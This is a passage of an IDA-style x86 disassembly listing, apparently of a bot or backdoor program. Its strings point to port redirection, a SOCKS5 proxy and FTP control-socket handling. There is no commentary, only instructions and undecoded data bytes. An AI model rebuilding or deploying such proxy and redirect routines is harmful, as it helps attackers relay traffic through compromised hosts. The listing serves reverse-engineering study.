[esp+48h+var_2C], 2 mov [esp+48h+var_24], ecx mov [esp+48h+var_20], ecx call near ptr 71AB2B66h nop mov ecx, [esi+9Dh] mov word ptr [esp+44h+var_2C+2], ax lea eax, [esp+44h+var_2C] push 10h push eax push ecx mov [esp+50h+var_34], 10h nop call near ptr 71AB3E00h test eax, eax jz short loc_42B96B mov edx, [esi+9Dh] push edx call near ptr 71AB9639h nop pop edi pop esi pop ebp pop ebx mov ecx, [esp+34h+var_C] mov large fs:0, ecx add esp, 34h retn ; --------------------------------------------------------------------------- loc_42B96B: ; CODE XREF: sub_42B880+C9j mov eax, [esi+99h] mov cl, [eax+11Ch] test cl, cl jz loc_42BA64 loc_42B97F: ; CODE XREF: sub_42B880+1DEj mov ecx, [esi+9Dh] push 0Ah push ecx nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jz loc_42BA45 mov ecx, [esi+9Dh] lea edx, [esp+44h+var_34] lea eax, [esp+44h+var_1C] push edx push eax push ecx nop call near ptr 71AC1028h mov ebp, eax cmp ebp, 0FFFFFFFFh jz loc_42BA45 xor edi, edi cmp ebp, edi jz loc_42BA45 push 0A9h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+44h+var_30], eax cmp eax, edi mov [esp+44h+var_4], edi jz short loc_42B9E5 mov ecx, eax call sub_401663 mov edi, eax loc_42B9E5: ; CODE XREF: sub_42B880+15Aj mov edx, [esi+99h] mov [edi+9Dh], esi mov [edi+99h], edx mov eax, [esi+3Bh] mov [edi+3Bh], eax mov ecx, [esi+3Fh] mov [edi+3Fh], ecx push ebx lea ecx, [edi+43h] mov [esp+48h+var_4], 0FFFFFFFFh call sub_401FBE lea eax, [esi+26h] lea ecx, [edi+26h] push eax mov [edi+0A1h], ebp call sub_401FBE mov dl, [esi+97h] mov ecx, edi mov [edi+97h], dl mov al, [esi+98h] mov [edi+98h], al call sub_4013D4 loc_42BA45: ; CODE XREF: sub_42B880+111j ; sub_42B880+133j ... push 0FAh nop call near ptr 2811D0Bh mov ecx, [esi+99h] mov al, [ecx+11Ch] test al, al jnz loc_42B97F loc_42BA64: ; CODE XREF: sub_42B880+F9j mov eax, [esi+9Dh] cmp eax, 0FFFFFFFFh jz short loc_42BA76 push eax call near ptr 71AB9639h nop loc_42BA76: ; CODE XREF: sub_42B880+1EDj mov edx, [esi+3Fh] mov ecx, ebx push edx call sub_4017E4 push eax mov eax, [esi+3Bh] push eax lea ecx, [esi+11h] call sub_4017E4 push eax push offset aSFinishedRed_0 ; "[%s] Finished redirecting from port %d "... lea ecx, [esi+26h] call sub_4014D3 mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 24h loc_42BAB8: ; CODE XREF: sub_42B880+7Cj mov ecx, [esp+44h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 34h retn sub_42B880 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42BB70 proc near ; CODE XREF: sub_4021DFj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42BB70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 10h push 3 push 14h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 mov esi, ecx push 5 lea eax, [esp+74h+var_3C] push 12h push eax mov dword ptr [esi+118h], 0 call sub_4019B5 add esp, 38h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_42BB70 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 12h push 7 push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea edx, [esp+38h] push 12h push edx call sub_4019B5 add esp, 38h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 14h push 14h push 8 push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea ecx, [esp+3Ch] push 12h push ecx call sub_4019B5 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017E4 lea edx, [esi+60h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 0Bh push 3 push 0Fh push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea eax, [esp+40h] push 12h push eax call sub_4019B5 add esp, 40h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 lea ecx, [esi+8Eh] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 49h push 13h push 0Bh push 3 push 0Fh push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea edx, [esp+44h] push 12h push edx call sub_4019B5 add esp, 44h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017E4 push eax lea eax, [esi+0BCh] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea ecx, [esp+54h] push 12h push ecx call sub_4019B5 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 5 call sub_4017E4 add esi, 0EAh push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0A0h dup(0CCh) ; --------------------------------------------------------------------------- loc_42BE60: ; CODE XREF: ___:loc_40202Cj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43BD84 push eax mov large fs:0, esp sub esp, 68h push ebx push ebp push esi mov esi, [esp+84h] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+4] call sub_4017E4 push eax mov ecx, edi call sub_4012EE or ebx, 0FFFFFFFFh test eax, eax jnz loc_42BFC7 push 0A1h call sub_4367FA ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h dd 93E8C88Bh, 8BFFFD57h, 360068F8h, 448D0044h, 16A4C24h dd 11C85C6h, 50010000h, 9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h dd 0FFFD57BAh, 84C7C88Bh, 8024h, 100h, 58DEE800h, 9050FFFDh dd 7F000BE8h, 4C48377h, 48244C8Dh, 893B4789h, 80249Ch dd 3E80000h, 68FFFD53h, 443600h, 4C244C8Dh, 8B51026Ah dd 5778E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 6074E800h dd 4C8DFFFDh, 9C894824h, 8024h, 52CCE800h, 68FFFDh, 8D004436h dd 6A4C2454h, 0CE8B5203h, 0FD5741E8h, 0C7C88BFFh, 802484h dd 30000h, 65E80000h, 50FFFD58h, 0FF92E890h, 0C483777Eh dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h, 0FFFD528Ah dd 8D69468Dh, 0E850264Fh, 0FFFD6016h, 938E8Ah, 8F880000h dd 97h, 94968Ah, 0CF8B0000h, 989788h, 0DE80000h db 54h, 0FDh, 0FFh ; --------------------------------------------------------------------------- loc_42BFC7: ; CODE XREF: ___:0042BE9Dj lea ecx, [ebp+32h] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42C0F7 push 9Dh call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 4 jz short loc_42C00E mov ecx, eax call sub_401889 mov edi, eax jmp short loc_42C010 ; --------------------------------------------------------------------------- loc_42C00E: ; CODE XREF: ___:0042C001j xor edi, edi loc_42C010: ; CODE XREF: ___:0042C00Cj push offset asc_443600 ; " " lea eax, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push eax mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016AE push eax lea ecx, [edi+58h] mov dword ptr [esp+84h], 5 call sub_401FBE lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+4Ch] push 2 push ecx mov ecx, esi call sub_4016AE push eax lea ecx, [edi+6Dh] mov dword ptr [esp+84h], 6 call sub_401FBE lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 push offset asc_443600 ; " " lea edx, [esp+4Ch] push 3 push edx mov ecx, esi call sub_4016AE push eax lea ecx, [edi+82h] mov dword ptr [esp+84h], 7 call sub_401FBE lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 lea eax, [esi+69h] lea ecx, [edi+26h] push eax call sub_401FBE mov cl, [esi+93h] mov [edi+97h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+98h], dl call sub_4013D4 loc_42C0F7: ; CODE XREF: ___:0042BFDAj lea ecx, [ebp+60h] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42C220 push 0A2h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 8 jz short loc_42C13E mov ecx, eax call sub_4018DE mov edi, eax jmp short loc_42C140 ; --------------------------------------------------------------------------- loc_42C13E: ; CODE XREF: ___:0042C131j xor edi, edi loc_42C140: ; CODE XREF: ___:0042C13Cj push offset asc_443600 ; " " lea eax, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push eax mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016AE mov ecx, eax mov dword ptr [esp+80h], 9 call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+48h] mov [edi+3Bh], eax mov [esp+80h], ebx call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+4Ch] push 2 push ecx mov ecx, esi call sub_4016AE push offset aTrue ; "true" mov ecx, eax mov dword ptr [esp+84h], 0Ah call sub_401500 test eax, eax lea ecx, [esp+48h] mov [esp+80h], ebx setz byte ptr [esp+88h] call sub_401226 mov al, [esp+88h] test al, al jz short loc_42C1EE mov byte ptr [edi+9Dh], 1 jmp short loc_42C1F5 ; --------------------------------------------------------------------------- loc_42C1EE: ; CODE XREF: ___:0042C1E3j mov byte ptr [edi+9Dh], 0 loc_42C1F5: ; CODE XREF: ___:0042C1ECj lea edx, [esi+69h] lea ecx, [edi+26h] push edx call sub_401FBE mov al, [esi+93h] mov [edi+97h], al mov cl, [esi+94h] mov [edi+98h], cl mov ecx, edi call sub_4013D4 loc_42C220: ; CODE XREF: ___:0042C10Aj lea ecx, [ebp+8Eh] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42C2ED push 0A1h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 0Bh jz short loc_42C26A mov ecx, eax call sub_40216C mov edi, eax jmp short loc_42C26C ; --------------------------------------------------------------------------- loc_42C26A: ; CODE XREF: ___:0042C25Dj xor edi, edi loc_42C26C: ; CODE XREF: ___:0042C268j push offset asc_443600 ; " " lea edx, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push edx mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016AE mov ecx, eax mov dword ptr [esp+80h], 0Ch call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+48h] mov [edi+3Bh], eax mov [esp+80h], ebx call sub_401226 lea eax, [esi+69h] lea ecx, [edi+26h] push eax call sub_401FBE mov cl, [esi+93h] mov [edi+97h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+98h], dl call sub_4013D4 loc_42C2ED: ; CODE XREF: ___:0042C236j lea ecx, [ebp+0BCh] call sub_4014D3 lea edi, [esi+7Eh] push eax mov ecx, edi mov [esp+8Ch], edi call sub_4012EE test eax, eax jnz loc_42C519 lea ecx, [esp+30h] call sub_401424 lea ecx, [esp+18h] mov dword ptr [esp+80h], 0Dh call sub_401424 push offset asc_443600 ; " " lea eax, [esp+4Ch] push 2 push eax mov ecx, esi mov byte ptr [esp+8Ch], 0Eh call sub_4016AE mov ecx, eax mov byte ptr [esp+80h], 0Fh call sub_4017E4 push eax lea ecx, [esp+34h] call sub_401A87 lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+4Ch] push 3 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov byte ptr [esp+80h], 10h call sub_4017E4 push eax lea ecx, [esp+1Ch] call sub_401A87 lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+30h] call sub_4014D3 cmp eax, offset byte_446F70 jnz short loc_42C3CF push offset aRoot ; "root" lea ecx, [esp+1Ch] call sub_401A87 loc_42C3CF: ; CODE XREF: ___:0042C3BFj lea ecx, [esp+18h] call sub_4014D3 cmp eax, offset byte_446F70 jnz short loc_42C3ED push offset byte_446F70 lea ecx, [esp+1Ch] call sub_401A87 loc_42C3ED: ; CODE XREF: ___:0042C3DDj push offset asc_443600 ; " " lea edx, [esp+4Ch] push 1 push edx mov ecx, esi call sub_4016AE mov edi, eax lea ecx, [esp+18h] mov byte ptr [esp+80h], 11h call sub_4017E4 push eax lea ecx, [esp+34h] call sub_4017E4 push eax mov ecx, edi call sub_4017E4 mov edi, dword_50FB08 push eax call edi ; atoi add esp, 4 lea ecx, [esi+69h] push eax push offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "... call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 20h lea ecx, [esp+48h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+18h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+28h], esp push eax call sub_401861 lea ecx, [esp+48h] mov byte ptr [esp+98h], 12h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+44h], esp push eax call sub_401861 push offset asc_443600 ; " " lea edx, [esp+94h] push 1 push edx mov ecx, esi mov byte ptr [esp+0BCh], 13h call sub_4016AE mov ecx, eax mov byte ptr [esp+0B0h], 15h call sub_4017E4 push eax call edi ; atoi add esp, 4 push eax call sub_401C17 add esp, 34h lea ecx, [esp+60h] mov byte ptr [esp+80h], 0Eh call sub_401226 lea ecx, [esp+18h] mov byte ptr [esp+80h], 0Dh call sub_401226 lea ecx, [esp+30h] mov [esp+80h], ebx call sub_401226 mov edi, [esp+88h] loc_42C519: ; CODE XREF: ___:0042C30Cj lea ecx, [ebp+0EAh] call sub_4017E4 push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_42C536 mov [ebp+11Ch], al loc_42C536: ; CODE XREF: ___:0042C52Ej mov ecx, [esp+78h] pop edi pop esi pop ebp mov al, 1 mov large fs:0, ecx pop ebx add esp, 74h retn 4 ; --------------------------------------------------------------------------- db 3 dup(90h) db 1C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42C710 proc near ; CODE XREF: sub_4021A8j var_4 = dword ptr -4 push ecx mov edx, dword_447A8D push esi mov esi, ecx mov eax, [esi+99h] mov ecx, [eax+118h] cmp edx, ecx jl short loc_42C731 inc ecx mov [eax+118h], ecx loc_42C731: ; CODE XREF: sub_42C710+18j mov eax, [esi] mov ecx, esi call dword ptr [eax+8] mov eax, [esi+99h] mov [esp+8+var_4], esi mov ecx, [eax+118h] dec ecx mov [eax+118h], ecx lea ecx, [esp+8+var_4] push ecx mov ecx, offset byte_4E6EDB call sub_40120D sub_42C710 endp ; --------------------------------------------------------------------------- xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42C790 proc near ; CODE XREF: sub_401E06j var_190 = byte ptr -190h sub esp, 190h lea eax, [esp+190h+var_190] push eax push 101h call sub_436F4E sub_42C790 endp ; --------------------------------------------------------------------------- db 85h, 0C0h, 74h dd 840D8B19h, 500050FAh, 6840C183h, 445414h, 4655E851h dd 83907781h, 0C4810CC4h, 190h, 909090C3h, 90909090h, 4 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42C7E0: ; CODE XREF: ___:00401D7Aj mov eax, [esp+4] test eax, eax jz short loc_42C7F3 mov ecx, [eax+18h] test ecx, ecx jnz short loc_42C7F3 add eax, 44h retn ; --------------------------------------------------------------------------- loc_42C7F3: ; CODE XREF: ___:0042C7E6j ; ___:0042C7EDj xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42C810 proc near ; CODE XREF: sub_401A69j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_12 = word ptr 16h sub esp, 14h mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ebx push ebp mov [esp+1Ch+var_C], eax push esi push edi mov [esp+24h+var_8], eax push ecx mov [esp+28h+var_14], 1 mov [esp+28h+var_4], eax mov word ptr [esp+28h+var_10], 2 nop call near ptr 77C46125h mov ebp, eax push 3Ah push ebp call near ptr 77C47660h nop mov esi, eax xor ebx, ebx add esp, 0Ch cmp esi, ebx jnz short loc_42C884 push offset aTcp ; "tcp" push offset aFtp ; "ftp" call sub_436F96 ; --------------------------------------------------------------------------- dd 6C75C33Bh, 44546868h, 7BE89000h, 837780A5h, 0C03304C4h dd 5B5D5E5Fh, 0C314C483h ; --------------------------------------------------------------------------- loc_42C884: ; CODE XREF: sub_42C810+47j mov [esi], bl mov eax, dword_50FB14 inc esi cmp dword ptr [eax], 1 jle short loc_42C8A2 movsx ecx, byte ptr [esi] push 4 push ecx nop call near ptr 77C1C561h add esp, 8 jmp short loc_42C8B2 ; --------------------------------------------------------------------------- loc_42C8A2: ; CODE XREF: sub_42C810+7Fj mov eax, dword_50FA78 movsx edx, byte ptr [esi] mov ecx, [eax] mov al, [ecx+edx*2] and eax, 4 loc_42C8B2: ; CODE XREF: sub_42C810+90j cmp eax, ebx jz short loc_42C8CD push esi nop call near ptr 77C1BF18h add esp, 4 push eax call sub_436F36 ; --------------------------------------------------------------------------- mov [esp+arg_12], ax jmp short sub_42C8E1 ; --------------------------------------------------------------------------- loc_42C8CD: ; CODE XREF: sub_42C810+A4j push offset aTcp ; "tcp" push esi call sub_436F96 sub_42C810 endp ; --------------------------------------------------------------------------- mov dx, [eax+8] mov [esp+16h], dx ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42C8E1 proc near ; CODE XREF: sub_42C810+BBj push ebp call sub_436EF4 sub_42C8E1 endp ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh mov [esp+18h], eax jnz short loc_42C92D push ebp call sub_436EE8 ; --------------------------------------------------------------------------- dw 0C33Bh dd 58681875h, 90004454h, 80A4EDE8h, 4C48377h, 5E5FC033h dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch dd 2E9C130h, 0CA8BA5F3h, 0F303E183h ; --------------------------------------------------------------------------- movsb loc_42C92D: ; CODE XREF: ___:0042C8EEj push ebp mov ebp, dword_50FAC4 call ebp ; free add esp, 4 push 6 push 1 push 2 call sub_436F3C ; --------------------------------------------------------------------------- dd 0FF83F88Bh, 681875FFh, 445450h, 0A49CE890h, 0C4837780h dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h dd 0FFFF68h, 0DE85700h, 830000A6h, 775FFF8h, 44544068h dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B2h, 75FFF883h dd 52406807h, 1BEB0044h, 14468h, 0E8016A00h, 777FF71Bh dd 83F08B90h, 0F33B08C4h, 38681E75h, 0E8004454h, 7780A436h dd 4C48390h, 0A540E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h dd 200068h, 0FA2DE800h, 8390777Fh, 0C33B04C4h, 75144689h dd 54386824h, 0E8900044h, 7780A402h, 5704C483h, 0A50DE8h dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh, 326A56C3h dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h dd 75C08508h, 0C3E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch dd 1B85D5Eh, 5B000000h, 0C314C483h, 90909090h, 28h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_42CB10 proc near ; CODE XREF: sub_42DFD0+70p var_8 = byte ptr -8 var_5 = byte ptr -5 var_4 = byte ptr -4 arg_0 = byte ptr 4 arg_4 = dword ptr 8 sub esp, 8 push ebx push ebp push esi push edi mov edi, [esp+18h+arg_4] push edi push 100h lea esi, [edi+44h] push esi call sub_42CC50 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_42CB4A loc_42CB32: ; CODE XREF: sub_42CB10+8Ej ; sub_42CB10+D9j push offset aControlSocketR ; "Control socket read failed" nop call near ptr 77C36DF2h add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CB4A: ; CODE XREF: sub_42CB10+20j mov eax, dword_50E3DC mov ebx, dword_50FA80 cmp eax, 1 jle short loc_42CB6E mov eax, dword_50FA84 push esi add eax, 40h push offset aS ; "%s" push eax call ebx ; fprintf add esp, 0Ch loc_42CB6E: ; CODE XREF: sub_42CB10+48j cmp byte ptr [edi+47h], 2Dh jnz short loc_42CBEE push 3 lea ecx, [esp+1Ch+var_8] push esi push ecx nop call near ptr 77C47A90h push edi push 100h push esi mov [esp+30h+var_5], 20h mov [esp+30h+var_4], 0 call sub_42CC50 add esp, 18h cmp eax, 0FFFFFFFFh jz short loc_42CB32 mov ebp, dword_50FAD4 loc_42CBA6: ; CODE XREF: sub_42CB10+D7j cmp dword_50E3DC, 1 jle short loc_42CBC4 mov edx, dword_50FA84 push esi add edx, 40h push offset aS ; "%s" push edx call ebx ; fprintf add esp, 0Ch loc_42CBC4: ; CODE XREF: sub_42CB10+9Dj lea eax, [esp+18h+var_8] push 4 push eax push esi call ebp ; strncmp add esp, 0Ch test eax, eax jz short loc_42CBEE push edi push 100h push esi call sub_42CC50 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_42CBA6 jmp loc_42CB32 ; --------------------------------------------------------------------------- loc_42CBEE: ; CODE XREF: sub_42CB10+62j ; sub_42CB10+C3j mov cl, [esi] mov dl, [esp+18h+arg_0] xor eax, eax pop edi cmp cl, dl pop esi pop ebp pop ebx setz al add esp, 8 retn sub_42CB10 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42CC50 proc near ; CODE XREF: sub_42CB10+15p ; sub_42CB10+83p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 8 push ebx push ebp mov ebp, [esp+10h+arg_0] push esi mov esi, [esp+14h+arg_8] xor ecx, ecx push edi mov [esp+18h+var_8], ecx mov eax, [esi+18h] mov [esp+18h+var_4], ecx cmp eax, ecx jz short loc_42CC80 cmp eax, 1 jz short loc_42CC80 pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CC80: ; CODE XREF: sub_42CC50+1Ej ; sub_42CC50+23j mov ebx, [esp+18h+arg_4] cmp ebx, ecx jnz short loc_42CC92 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CC92: ; CODE XREF: sub_42CC50+36j ; sub_42CC50+115j mov edi, [esi+0Ch] test edi, edi jle short loc_42CCE3 cmp ebx, edi jge short loc_42CCA0 lea edi, [ebx-1] loc_42CCA0: ; CODE XREF: sub_42CC50+4Bj mov eax, [esi+4] push edi push 0Ah push eax push ebp nop call near ptr 77C46170h add esp, 10h test eax, eax jz short loc_42CCB9 mov edi, eax sub edi, ebp loc_42CCB9: ; CODE XREF: sub_42CC50+63j mov edx, [esp+18h+var_8] add ebp, edi add edx, edi sub ebx, edi mov [esp+18h+var_8], edx mov byte ptr [ebp+0], 0 mov ecx, [esi+4] mov edx, [esi+0Ch] add ecx, edi sub edx, edi test eax, eax mov [esi+4], ecx mov [esi+0Ch], edx jnz loc_42CD6A loc_42CCE3: ; CODE XREF: sub_42CC50+47j cmp ebx, 1 jz loc_42CDBD mov ecx, [esi] mov eax, [esi+4] cmp ecx, eax jnz short loc_42CD0B mov eax, [esi+14h] mov dword ptr [esi+0Ch], 0 mov [esi+4], eax mov [esi], eax mov dword ptr [esi+10h], 2000h loc_42CD0B: ; CODE XREF: sub_42CC50+A3j mov eax, [esp+18h+var_4] test eax, eax jnz loc_42CDD0 push esi call sub_42CE80 add esp, 4 test eax, eax jz loc_42CE02 mov edx, [esi+10h] mov eax, [esi] mov ecx, [esi+8] push 0 push edx push eax push ecx call sub_436EFA ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh jz loc_42CDEC test eax, eax jnz short loc_42CD4F mov [esp+18h+var_4], 1 loc_42CD4F: ; CODE XREF: sub_42CC50+F5j mov edi, [esi+10h] mov edx, [esi+0Ch] mov ecx, [esi] sub edi, eax add edx, eax add ecx, eax mov [esi+10h], edi mov [esi+0Ch], edx mov [esi], ecx jmp loc_42CC92 ; --------------------------------------------------------------------------- loc_42CD6A: ; CODE XREF: sub_42CC50+8Dj sub ebp, 2 mov esi, offset asc_445230 ; "\r\n" mov eax, ebp loc_42CD74: ; CODE XREF: sub_42CC50+146j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_42CD9C test cl, cl jz short loc_42CD98 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_42CD9C add eax, 2 add esi, 2 test cl, cl jnz short loc_42CD74 loc_42CD98: ; CODE XREF: sub_42CC50+130j xor eax, eax jmp short loc_42CDA1 ; --------------------------------------------------------------------------- loc_42CD9C: ; CODE XREF: sub_42CC50+12Cj ; sub_42CC50+13Cj sbb eax, eax sbb eax, 0FFFFFFFFh loc_42CDA1: ; CODE XREF: sub_42CC50+14Aj test eax, eax jnz short loc_42CE02 mov byte ptr [ebp+0], 0Ah mov [ebp+1], al mov eax, [esp+18h+var_8] pop edi dec eax pop esi pop ebp mov [esp+0Ch+var_8], eax pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CDBD: ; CODE XREF: sub_42CC50+96j mov eax, [esp+18h+arg_0] pop edi pop esi pop ebp mov byte ptr [eax], 0 mov eax, [esp+0Ch+var_8] pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CDD0: ; CODE XREF: sub_42CC50+C1j mov eax, [esp+18h+var_8] test eax, eax jnz short loc_42CE02 pop edi mov [esp+14h+var_8], 0FFFFFFFFh mov eax, [esp+14h+var_8] pop esi pop ebp pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_42CDEC: ; CODE XREF: sub_42CC50+EDj push offset aRead ; "read" call near ptr 77C36DF2h nop add esp, 4 mov [esp+18h+var_8], 0FFFFFFFFh loc_42CE02: ; CODE XREF: sub_42CC50+D2j ; sub_42CC50+153j ... mov eax, [esp+18h+var_8] pop edi pop esi pop ebp pop ebx add esp, 8 retn sub_42CC50 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42CE80 proc near ; CODE XREF: sub_42CC50+C8p ; sub_42DC70:loc_42DC9Dp ... var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 sub esp, 10Ch push ebx push ebp push esi mov esi, [esp+118h+arg_0] xor ebx, ebx xor ebp, ebp mov eax, [esi+18h] test eax, eax jz loc_42CF63 mov ecx, [esi+30h] test ecx, ecx jz loc_42CF63 cmp eax, 2 jnz short loc_42CEB5 lea ebp, [esp+118h+var_104] jmp short loc_42CEB9 ; --------------------------------------------------------------------------- loc_42CEB5: ; CODE XREF: sub_42CE80+2Dj lea ebx, [esp+118h+var_104] loc_42CEB9: ; CODE XREF: sub_42CE80+33j xor eax, eax push edi mov [esp+11Ch+var_104], eax loc_42CEC0: ; CODE XREF: sub_42CE80+98j cmp eax, 40h jnb short loc_42CED5 mov ecx, [esi+8] mov [esp+eax*4+11Ch+var_100], ecx mov eax, [esp+11Ch+var_104] inc eax mov [esp+11Ch+var_104], eax loc_42CED5: ; CODE XREF: sub_42CE80+43j mov edx, [esi+28h] mov eax, [esi+2Ch] lea ecx, [esp+11Ch+var_10C] mov [esp+11Ch+var_10C], edx mov edx, [esi+8] push ecx push 0 